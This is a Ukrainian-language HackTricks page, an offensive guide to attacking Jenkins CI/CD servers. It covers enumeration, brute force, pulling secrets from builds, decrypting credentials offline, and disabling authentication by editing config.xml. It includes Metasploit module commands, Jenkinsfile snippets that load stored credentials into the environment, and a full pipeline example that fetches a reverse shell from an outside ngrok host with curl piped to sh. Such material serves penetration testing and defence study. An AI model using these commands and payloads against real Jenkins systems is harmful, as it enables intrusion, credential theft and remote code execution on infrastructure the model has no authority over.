Jenkins Security
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Jenkins - це інструмент, який пропонує простий спосіб створення середовища безперервної інтеграції або безперервної доставки (CI/CD) для майже будь-якої комбінації мов програмування та репозиторіїв вихідного коду за допомогою конвеєрів. Крім того, він автоматизує різні рутинні завдання розробки. Хоча Jenkins не усуває необхідність створення скриптів для окремих кроків, він забезпечує швидший і надійніший спосіб інтеграції всього послідовності інструментів збірки, тестування та розгортання, ніж той, який можна легко створити вручну.
Неавтентифіковане перерахування
Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як (/people або /asynchPeople, це перераховує поточних користувачів), ви можете використовувати:
msf> use auxiliary/scanner/http/jenkins_enum
Перевірте, чи можете ви виконувати команди без необхідності аутентифікації:
msf> use auxiliary/scanner/http/jenkins_command
Без облікових даних ви можете переглянути вміст /asynchPeople/ або /securityRealm/user/admin/search/index?q= для імен користувачів.
Ви можете отримати версію Jenkins з шляху /oops або /error.
Відомі вразливості
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Увійти
У базовій інформації ви можете перевірити всі способи входу в Jenkins:
Реєстрація
Ви зможете знайти екземпляри Jenkins, які дозволяють вам створити обліковий запис і увійти в нього. Так просто.
SSO Вхід
Також, якщо функціональність/плагіни SSO були присутні, то ви повинні спробувати увійти в додаток, використовуючи тестовий обліковий запис (тобто, тестовий Github/Bitbucket обліковий запис). Трюк з тут.
Брутфорс
Jenkins не має політики паролів та заходів проти брутфорсу імен користувачів. Важливо брутфорсити користувачів, оскільки можуть використовуватися слабкі паролі або імена користувачів як паролі, навіть перевернуті імена користувачів як паролі.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Використовуйте цей python скрипт або цей powershell скрипт.
IP Whitelisting Bypass
Багато організацій поєднують SaaS-системи управління вихідним кодом (SCM), такі як GitHub або GitLab, з внутрішнім, самостійно розгорнутим CI рішенням, таким як Jenkins або TeamCity. Така конфігурація дозволяє CI системам отримувати події вебхуків від постачальників SaaS управління вихідним кодом, в основному для запуску завдань конвеєра.
Щоб досягти цього, організації дозволяють IP-діапазони платформ SCM, дозволяючи їм отримувати доступ до внутрішньої CI системи через вебхуки. Однак важливо зазначити, що будь-хто може створити обліковий запис на GitHub або GitLab і налаштувати його для тригера вебхука, потенційно надсилаючи запити до внутрішньої CI системи.
Internal Jenkins Abuses
У цих сценаріях ми будемо припускати, що у вас є дійсний обліковий запис для доступу до Jenkins.
warning
Залежно від механізму Авторизації, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви можете або не можете виконати наступні атаки.
Для отримання додаткової інформації перевірте основну інформацію:
Listing users
Якщо ви отримали доступ до Jenkins, ви можете перерахувати інших зареєстрованих користувачів за адресою http://127.0.0.1:8080/asynchPeople/
Dumping builds to find cleartext secrets
Використовуйте цей скрипт для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти секрети у відкритому тексті.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
Викрадення SSH облікових даних
Якщо скомпрометований користувач має достатні привілеї для створення/модифікації нового Jenkins вузла і SSH облікові дані вже збережені для доступу до інших вузлів, він може викрасти ці облікові дані, створивши/модифікувавши вузол і встановивши хост, який буде записувати облікові дані без перевірки ключа хоста:
Ви зазвичай знайдете облікові дані ssh Jenkins у глобальному постачальнику (/credentials/
), тому ви також можете їх скинути, як і будь-яку іншу таємницю. Більше інформації в Розділі скидання секретів.
RCE в Jenkins
Отримання shell на сервері Jenkins дає зловмиснику можливість викрити всі секрети та змінні середовища і експлуатувати інші машини, розташовані в тій же мережі, або навіть збирати облікові дані хмари.
За замовчуванням Jenkins буде працювати як SYSTEM. Отже, компрометація його надасть зловмиснику привілеї SYSTEM.
RCE Створення/Модифікація проекту
Створення/модифікація проекту є способом отримання RCE на сервері Jenkins:
Jenkins RCE Creating/Modifying Project
RCE Виконання Groovy скрипту
Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути менш помітним, ніж створення нового проекту:
Jenkins RCE with Groovy Script
RCE Створення/Модифікація Pipeline
Ви також можете отримати RCE, створюючи/модифікуючи pipeline:
Jenkins RCE Creating/Modifying Pipeline
Експлуатація Pipeline
Щоб експлуатувати pipeline, вам все ще потрібно мати доступ до Jenkins.
Будівельні Pipeline
Pipeline також можуть використовуватися як механізм збірки в проектах, в цьому випадку можна налаштувати файл всередині репозиторію, який міститиме синтаксис pipeline. За замовчуванням використовується /Jenkinsfile
:
Також можливо зберігати конфігураційні файли pipeline в інших місцях (в інших репозиторіях, наприклад) з метою розділення доступу до репозиторію та доступу до pipeline.
Якщо зловмисник має доступ на запис до цього файлу, він зможе модифікувати його і потенційно запустити pipeline, навіть не маючи доступу до Jenkins.
Можливо, зловмиснику потрібно буде обійти деякі захисти гілок (в залежності від платформи та привілеїв користувача, їх можна обійти або ні).
Найбільш поширені тригери для виконання користувацького pipeline:
- Запит на злиття до основної гілки (або потенційно до інших гілок)
- Пуш до основної гілки (або потенційно до інших гілок)
- Оновлення основної гілки і очікування, поки вона буде виконана якимось чином
note
Якщо ви зовнішній користувач, вам не слід очікувати, що ви зможете створити PR до основної гілки репозиторію іншого користувача/організації і запустити pipeline... але якщо він погано налаштований, ви можете повністю скомпрометувати компанії, просто експлуатуючи це.
Pipeline RCE
У попередньому розділі RCE вже була вказана техніка для отримання RCE, модифікуючи pipeline.
Перевірка змінних середовища
Можна оголосити змінні середовища у відкритому тексті для всього pipeline або для конкретних етапів. Ці змінні середовища не повинні містити чутливу інформацію, але зловмисник завжди може перевірити всі конфігурації pipeline/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Витягування секретів
Для отримання інформації про те, як зазвичай обробляються секрети в Jenkins, ознайомтеся з основною інформацією:
Облікові дані можуть бути обмежені глобальними постачальниками (/credentials/
) або конкретними проектами (/job/<project-name>/configure
). Тому, щоб ексфільтрувати всі з них, вам потрібно зламати принаймні всі проекти, які містять секрети, і виконати користувацькі/отруйні конвеєри.
Є ще одна проблема: щоб отримати секрет всередині env конвеєра, вам потрібно знати ім'я та тип секрету. Наприклад, якщо ви намагаєтеся завантажити секрет usernamePassword
як секрет string
, ви отримаєте цю помилку:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Ось як завантажити деякі поширені типи секретів:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
В кінці цієї сторінки ви можете знайти всі типи облікових даних: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
warning
Найкращий спосіб вивантажити всі секрети одразу - це зламати машину Jenkins (наприклад, запустивши реверс-шелл у вбудованому вузлі) і потім викрити майстер-ключі та зашифровані секрети і розшифрувати їх офлайн.
Більше про те, як це зробити, в розділі Nodes & Agents та в розділі Post Exploitation.
Тригери
З документації: Директива triggers
визначає автоматизовані способи, якими Pipeline має бути повторно запущений. Для Pipeline, які інтегровані з джерелом, таким як GitHub або BitBucket, triggers
можуть бути непотрібні, оскільки інтеграція на основі вебхуків, ймовірно, вже присутня. Доступні тригери: cron
, pollSCM
та upstream
.
Приклад cron:
triggers { cron('H */4 * * 1-5') }
Перевірте інші приклади в документації.
Вузли та Агенти
Екземпляр Jenkins може мати різні агенти, що працюють на різних машинах. З точки зору зловмисника, доступ до різних машин означає різні потенційні облікові дані хмари для викрадення або різний мережевий доступ, який може бути використаний для експлуатації інших машин.
Для отримання додаткової інформації перевірте основну інформацію:
Ви можете перерахувати сконфігуровані вузли в /computer/
, зазвичай ви знайдете **Вбудований Вузол
** (який є вузлом, що виконує Jenkins) і потенційно більше:
Це особливо цікаво скомпрометувати Вбудований вузол, оскільки він містить чутливу інформацію Jenkins.
Щоб вказати, що ви хочете запустити конвеєр на вбудованому вузлі Jenkins, ви можете вказати в конвеєрі наступну конфігурацію:
pipeline {
agent {label 'built-in'}
Повний приклад
Pipeline в конкретному агенті, з тригером cron, з змінними середовища pipeline та stage, завантажуючи 2 змінні в кроці та відправляючи зворотний shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Читання довільних файлів до RCE
Jenkins Arbitrary File Read to RCE via "Remember Me"
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Після експлуатації
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Ви можете перерахувати секрети, отримуючи доступ до /credentials/
, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу credentials.xml
, але файли конфігурації збірки також можуть містити більше облікових даних.
Якщо ви можете бачити конфігурацію кожного проекту, ви також можете побачити там імена облікових даних (секретів), які використовуються для доступу до репозиторію та інших облікових даних проекту.
From Groovy
Jenkins Dumping Secrets from Groovy
From disk
Ці файли потрібні для дешифрування секретів Jenkins:
- secrets/master.key
- secrets/hudson.util.Secret
Такі секрети зазвичай можна знайти в:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Ось регулярний вираз, щоб знайти їх:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Декодування секретів Jenkins офлайн
Якщо ви скинули необхідні паролі для декодування секретів, використовуйте цей скрипт для декодування цих секретів.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Дешифрування секретів Jenkins з Groovy
println(hudson.util.Secret.decrypt("{...}"))
Створити нового адміністратора
- Доступ до файлу Jenkins config.xml у
/var/lib/jenkins/config.xml
абоC:\Program Files (x86)\Jenkis\
- Знайдіть слово
<useSecurity>true</useSecurity>
і змініть словоtrue
наfalse
. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
- Перезапустіть сервер Jenkins:
service jenkins restart
- Тепер знову перейдіть до порталу Jenkins, і Jenkins не запитає жодних облікових даних цього разу. Ви можете перейти до "Управління Jenkins", щоб знову встановити пароль адміністратора.
- Увімкніть знову безпеку, змінивши налаштування на
<useSecurity>true</useSecurity>
і знову перезапустіть Jenkins.
Посилання
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.